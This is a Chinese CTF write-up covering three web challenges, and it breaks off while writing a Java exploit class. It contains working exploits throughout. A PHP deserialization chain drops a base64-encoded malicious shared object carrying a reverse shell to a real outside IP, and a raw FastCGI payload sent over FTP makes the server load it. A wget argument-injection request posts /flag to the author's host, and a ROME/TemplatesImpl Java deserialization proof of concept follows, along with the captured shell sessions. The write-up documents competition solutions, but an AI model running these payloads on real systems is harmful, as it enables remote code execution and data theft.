题挺有意思的，Web有点难，而且后面三道难题放的有点晚了，时间不够（肝了一下午的Java）。这个比赛的难度，能早9晚9的话可能还好一些，早9晚5就有点紧了。
Java还是太菜了，需要学很多的东西。
eaaasyphp反序列化链的构造很简单就不提了，正常构造写文件发现应该是不行的，目录应该不可写。给了个Hint类里面提示phpinfo，那打一下phpinfo看一下：
class Bypass {
public function __construct(){
$this->str4 = "phpinfo";
$this->feng = new Esle();
}
}
echo urlencode(serialize(new Bypass()));
发现有fastcgi，再联想到利用的这里：
file_put_contents($this->filename, $this->data);
很容易想到利用ftp被动模式打fastcgi了。
流程按蓝帽杯那题来就行了，不细锁了。先把恶意类的so打过去，把它写在/tmp/feng.so：
import base64
import requests
payload="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DhCGAkMNBk4MBwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAGAAAAAAAAAAAAAAAAAADgBQAAAAAAAAEAAAAAAAAAcAAAAAAAAAAMAAAAAAAAAAAFAAAAAAAADQAAAAAAAABABgAAAAAAABkAAAAAAAAACA4gAAAAAAAbAAAAAAAAABAAAAAAAAAAGgAAAAAAAAAYDiAAAAAAABwAAAAAAAAACAAAAAAAAAD1/v9vAAAAAPABAAAAAAAABQAAAAAAAABQAwAAAAAAAAYAAAAAAAAAMAIAAAAAAAAKAAAAAAAAAJ4AAAAAAAAACwAAAAAAAAAYAAAAAAAAAAMAAAAAAAAAABAgAAAAAAACAAAAAAAAABgAAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAA6AQAAAAAAAAHAAAAAAAAACgEAAAAAAAACAAAAAAAAADAAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAAgEAAAAAAAAbwAAAAABAAAAAAAAAPD//28AAAAA7gMAAAAAAAD5//9vAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAOIAAAAAAAAAAAAAAAAAAAAAAAAAAAADYFAAAAAAAAIBAgAAAAAABHQ0M6IChVYnVudHUgNy41LjAtM3VidW50dTF+MTguMDQpIDcuNS4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwABAMgBAAAAAAAAAAAAAAAAAAAAAAAAAwACAPABAAAAAAAAAAAAAAAAAAAAAAAAAwADADACAAAAAAAAAAAAAAAAAAAAAAAAAwAEAFADAAAAAAAAAAAAAAAAAAAAAAAAAwAFAO4DAAAAAAAAAAAAAAAAAAAAAAAAAwAGAAgEAAAAAAAAAAAAAAAAAAAAAAAAAwAHACgEAAAAAAAAAAAAAAAAAAAAAAAAAwAIAOgEAAAAAAAAAAAAAAAAAAAAAAAAAwAJAAAFAAAAAAAAAAAAAAAAAAAAAAAAAwAKACAFAAAAAAAAAAAAAAAAAAAAAAAAAwALAEAFAAAAAAAAAAAAAAAAAAAAAAAAAwAMAFAFAAAAAAAAAAAAAAAAAAAAAAAAAwANAEAGAAAAAAAAAAAAAAAAAAAAAAAAAwAOAFAGAAAAAAAAAAAAAAAAAAAAAAAAAwAPAIgGAAAAAAAAAAAAAAAAAAAAAAAAAwAQALAGAAAAAAAAAAAAAAAAAAAAAAAAAwARAAgOIAAAAAAAAAAAAAAAAAAAAAAAAwASABgOIAAAAAAAAAAAAAAAAAAAAAAAAwATACAOIAAAAAAAAAAAAAAAAAAAAAAAAwAUAOAPIAAAAAAAAAAAAAAAAAAAAAAAAwAVAAAQIAAAAAAAAAAAAAAAAAAAAAAAAwAWACAQIAAAAAAAAAAAAAAAAAAAAAAAAwAXACgQIAAAAAAAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMAAAAAgAMAFAFAAAAAAAAAAAAAAAAAAAOAAAAAgAMAJAFAAAAAAAAAAAAAAAAAAAhAAAAAgAMAOAFAAAAAAAAAAAAAAAAAAA3AAAAAQAXACgQIAAAAAAAAQAAAAAAAABGAAAAAQASABgOIAAAAAAAAAAAAAAAAABtAAAAAgAMACAGAAAAAAAAAAAAAAAAAAB5AAAAAQARAAgOIAAAAAAAAAAAAAAAAACYAAAABADx/wAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAACfAAAAAQAQACgHAAAAAAAAAAAAAAAAAAAAAAAABADx/wAAAAAAAAAAAAAAAAAAAACtAAAAAQAWACAQIAAAAAAAAAAAAAAAAAC6AAAAAQATACAOIAAAAAAAAAAAAAAAAADDAAAAAAAPAIgGAAAAAAAAAAAAAAAAAADWAAAAAQAWACgQIAAAAAAAAAAAAAAAAADiAAAAAQAVAAAQIAAAAAAAAAAAAAAAAAD4AAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAUAQAAEAAWACgQIAAAAAAAAAAAAAAAAAAbAQAAEgANAEAGAAAAAAAAAAAAAAAAAAAhAQAAEgAAAAAAAAAAAAAAAAAAAAAAAAA1AQAAIAAAAAAAAAAAAAAAAAAAAAAAAABEAQAAEAAXADAQIAAAAAAAAAAAAAAAAABJAQAAEAAXACgQIAAAAAAAAAAAAAAAAABVAQAAEgAMACoGAAAAAAAAEwAAAAAAAABdAQAAIAAAAAAAAAAAAAAAAAAAAAAAAAB3AQAAIgAAAAAAAAAAAAAAAAAAAAAAAACTAQAAEgAJAAAFAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjc2OTgAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0x2FycmF5X2VudHJ5AGhhY2suYwBfX0ZSQU1FX0VORF9fAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUNfRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAX2luaXQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABwAAAAIAAAAAAAAAyAEAAAAAAADIAQAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAALgAAAPb//28CAAAAAAAAAPABAAAAAAAA8AEAAAAAAAA8AAAAAAAAAAMAAAAAAAAACAAAAAAAAAAAAAAAAAAAADgAAAALAAAAAgAAAAAAAAAwAgAAAAAAADACAAAAAAAAIAEAAAAAAAAEAAAAAQAAAAgAAAAAAAAAGAAAAAAAAABAAAAAAwAAAAIAAAAAAAAAUAMAAAAAAABQAwAAAAAAAJ4AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAASAAAAP///28CAAAAAAAAAO4DAAAAAAAA7gMAAAAAAAAYAAAAAAAAAAMAAAAAAAAAAgAAAAAAAAACAAAAAAAAAFUAAAD+//9vAgAAAAAAAAAIBAAAAAAAAAgEAAAAAAAAIAAAAAAAAAAEAAAAAQAAAAgAAAAAAAAAAAAAAAAAAABkAAAABAAAAAIAAAAAAAAAKAQAAAAAAAAoBAAAAAAAAMAAAAAAAAAAAwAAAAAAAAAIAAAAAAAAABgAAAAAAAAAbgAAAAQAAABCAAAAAAAAAOgEAAAAAAAA6AQAAAAAAAAYAAAAAAAAAAMAAAAVAAAACAAAAAAAAAAYAAAAAAAAAHgAAAABAAAABgAAAAAAAAAABQAAAAAAAAAFAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABzAAAAAQAAAAYAAAAAAAAAIAUAAAAAAAAgBQAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAfgAAAAEAAAAGAAAAAAAAAEAFAAAAAAAAQAUAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIcAAAABAAAABgAAAAAAAABQBQAAAAAAAFAFAAAAAAAA7QAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACNAAAAAQAAAAYAAAAAAAAAQAYAAAAAAABABgAAAAAAAAkAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAkwAAAAEAAAACAAAAAAAAAFAGAAAAAAAAUAYAAAAAAAA3AAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAJsAAAABAAAAAgAAAAAAAACIBgAAAAAAAIgGAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAIAAAAAAAAAsAYAAAAAAACwBgAAAAAAAHwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAswAAAA4AAAADAAAAAAAAAAgOIAAAAAAACA4AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAL8AAAAPAAAAAwAAAAAAAAAYDiAAAAAAABgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADLAAAABgAAAAMAAAAAAAAAIA4gAAAAAAAgDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADAAAAAAAAAOAPIAAAAAAA4A8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANQAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADdAAAAAQAAAAMAAAAAAAAAIBAgAAAAAAAgEAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA4wAAAAgAAAADAAAAAAAAACgQIAAAAAAAKBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAOgAAAABAAAAMAAAAAAAAAAAAAAAAAAAACgQAAAAAAAAKQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABYEAAAAAAAAPgEAAAAAAAAGgAAACoAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAUBUAAAAAAACZAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAOkWAAAAAAAA8QAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA="
url="http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/"
params = {
"code":'O:6:"Bypass":2:{s:4:"str4";O:7:"Welcome":1:{s:8:"username";O:5:"Bunny":1:{s:8:"filename";s:12:"/tmp/feng.so";}}s:4:"feng";O:4:"Esle":0:{}}'
}
data={
"data":base64.b64decode(payload)
}
r=requests.post(url=url,params=params,data=data)
ftp那边起，nc起，然后payload打过去就行了：
hint = "no hint";
}
public function __destruct(){
if(!$this->hint){
$this->hint = "phpinfo";
($this->hint)();
}
}
}
class Bunny {
public function __construct(){
$this->filename="ftp://121.5.169.223:39444/1";
$this->data = urldecode("%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16script_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09script_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00");
}
public function __toString()
{
if (Check::$str2) {
if(!$this->data){
$this->data = $_REQUEST['data'];
}
file_put_contents($this->filename, $this->data);
} else {
throw new Error("Error");
}
}
}
class Welcome {
public function __construct(){
$this->username = new Bunny();
}
public function __invoke()
{
Check::$str2 = true;
return "Welcome" . $this->username;
}
}
class Bypass {
public function __construct(){
$this->str4 = new Welcome();
$this->feng = new Esle();
}
}
echo urlencode(serialize(new Bypass()));
http://cf41a4b5-d2b7-490f-93c5-5b32adf39563.node4.buuoj.cn:81/?code=O%3A6%3A%22Bypass%22%3A2%3A%7Bs%3A4%3A%22str4%22%3BO%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A5%3A%22Bunny%22%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A27%3A%22ftp%3A%2F%2F121.5.169.223%3A39444%2F1%22%3Bs%3A4%3A%22data%22%3Bs%3A452%3A%22%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%9C%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%16script_FILENAME%2Fvar%2Fwww%2Fhtml%2Fuser.php%0B%09script_NAME%2Fuser.php%0B%09REQUEST_URI%2Fuser.php%0F%29PHP_ADMIN_VALUEextension_dir+%3D+%2Ftmp%0Aextension+%3D+feng.so%0A%0F%11SERVER_SOFTWAREphp%2Ffastcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0C%21CONTENT_TYPEapplication%2Fx-www-form-urlencoded%0E%01CONTENT_LENGTH0%01%04%00%01%00%00%00%00%01%05%00%01%00%00%00%00%22%3B%7D%7Ds%3A4%3A%22feng%22%3BO%3A4%3A%22Esle%22%3A0%3A%7B%7D%7D
root@VM-0-6-ubuntu:~# nc -lvvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 64381 received!
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@a4c71746264f:~/html$ ls
ls
index.php
www-data@a4c71746264f:~/html$ cd /
cd /
www-data@a4c71746264f:/$ ls
ls
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
php.ini
proc
root
run
sbin
srv
sudoers
sys
tmp
usr
var
www-data@a4c71746264f:/$ cat /flag
cat /flag
flag{b483c338-32f1-48a9-819f-72e276607834}
CheckIN
一道Go的代码审计，大致扫一遍应该就知道了，/wget是利用到，但是似乎鉴权没有做：
router.GET("/wget", getController)
func getController(c *gin.Context) {
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err != nil {
fmt.Println("error: ", err)
}
c.String(http.StatusOK, "Nothing")
}
直接能执行命令了，拿wget把flag带出来即可：
/wget?argv=1&argv=--post-file&argv=/flag&argv=http://121.5.169.223:39876/
root@VM-0-6-ubuntu:~# nc -lvvp 39876
Listening on [0.0.0.0] (family 0, port 39876)
Connection from 117.21.200.166 37526 received!
POST / HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 121.5.169.223:39876
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
flag{88729834-1693-4af8-abba-0ebf6bd84ec2}
EasyJaba
给了个反序列化的入口，而且调用了toString()方法：
@ResponseBody
@RequestMapping({"/BackDoor"})
public String BackDoor(@RequestParam(name = "ctf",required = true) String data) throws Exception {
Set blacklist = new HashSet() {
{
this.add("java.util.HashMap");
this.add("javax.management.BadAttributevalueExpException");
}
};
Object object = null;
byte[] b = Tool.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
BlacklistObjectInputStream ois = new BlacklistObjectInputStream(inputStream, blacklist);
try {
object = ois.readObject();
} catch (IOException var12) {
var12.printStackTrace();
} catch (ClassNotFoundException var13) {
var13.printStackTrace();
} finally {
System.out.println("information:" + object.toString());
}
return "calm down....";
}
但是有黑名单，看一下pom.xml：
4.0.0 org.springframework.boot spring-boot-starter-parent 2.5.6 com.kyzy.ctf ezjaba 0.0.1-SNAPSHOT ezjaba Demo project for Spring Boot 1.8 org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-test test rome rome 1.0 org.springframework.boot spring-boot-maven-plugin
有个rome显得很突兀，查一下确实有个链可以rce，但是需要用到被ban了的HashMap。但用到HashMap其实只是为了在Gadget中调用到那个toString，但本题已经显示的调用了，所以从网上找POC改一下即可：
package com.summer.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.base64;
public class Test {
public static class StaticBlock { }
public static void main(String[] args) throws Exception {
byte[][] bytecodes = new byte[][]{base64.getDecoder().decode("xxx")};
// 实例化类并设置属性
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, bytecodes);
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "test");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(objectBean1);
byte[] sss = byteArrayOutputStream.toByteArray();
out.close();
String exp = base64.getEncoder().encodeToString(sss);
System.out.println(exp.replace("+","%2b"));
}
}
还是动态加载字节码，关键就是那个恶意类里面要执行的代码该怎么写了。
我先是在本地打通了，远程那边一直没有回显，猜测是不出网，问了一下出题人确实是不出网的。
然后就开始了一下午的不出网回显尝试，尝试了各种奇奇怪怪的东西，什么dns，tomcat的各种内存马，Spring的内存马，等等发现都没打通。。。至于为什么我也不知道，不太会Java，这些东西等以后自己慢慢学到了应该就知道了。
最后是找到了这个东西：
https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java
感觉也不算是内存马吧，就是通过上下文还有反射最终来回显。我一开始也想过就是能不能按照Tomcat的Filter的那种思路（因为刚学过）去获取Request，再想办法获取获取Response，不是想办法注册Filter了，而是直接把结果回显，但是想了一下网上可能有现成的就一直在找现成的POC没去找这个东西，结果还是错付了。
写个Evil.java：
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
